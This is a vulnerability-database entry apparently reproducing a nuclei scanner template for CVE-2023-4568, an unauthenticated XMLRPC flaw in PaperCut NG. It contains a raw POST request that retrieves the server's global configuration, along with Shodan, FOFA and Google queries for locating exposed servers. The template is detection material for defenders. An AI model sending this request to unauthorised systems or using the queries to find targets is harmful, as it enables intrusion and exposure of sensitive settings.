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PaperCut NG Unauthenticated XMLRPC Functionality

🗓️ 09 Sep 2026 02:52:56Reported by ProjectDiscoveryType 
nuclei
 nuclei
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PaperCut NG Unauthenticated XMLRPC Functionality allows for unauthenticated XMLRPC commands leading to potential remote code execution or unauthorized access to sensitive information. Affected versions include 22.0.12 and below, but later versions may also be vulnerable

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info:
  name: PaperCut NG Unauthenticated XMLRPC Functionality
  author: DhiyaneshDK
  severity: medium
  description: |
    PaperCut NG allows for unauthenticated XMLRPC commands to be run by default. Versions 22.0.12 and below are confirmed to be affected, but later versions may also be affected due to lack of a vendor supplied patch.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or unauthorized access to sensitive information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4568
    - https://www.tenable.com/security/research/tra-2023-31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-4568
    cwe-id: CWE-287
    epss-score: 0.03568
    epss-percentile: 0.88602
    cpe: cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: papercut
    product: papercut_ng
    shodan-query:
      - html:"content=\"PaperCut\""
      - http.html:'content="papercut'
      - cpe:"cpe:2.3:a:papercut:papercut_ng"
      - http.html:"content=\"papercut\""
    fofa-query:
      - body='content="papercut'
      - body="content=\"papercut\""
    google-query: html:'content="papercut'
  tags: cve2023,cve,unauth,papercut,intrusive,vuln

http:
  - raw:
      - |
        POST /rpc/clients/xmlrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type:text/xml

        <?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'conf.ssl-port'
          - 'conf.auth-ttl-default'
        condition: and

      - type: word
        part: header
        words:
          - text/xml

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d8600bfb0531668cff9c80663c79284d1226eb58e7d9300aa1a7e9bae3a050f9022100c7a8b7a271726f3c6c7a23fd6b658faecc8e0008cd952b9dd3303ae9f814818e:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.5
EPSS0.03568
SSVC
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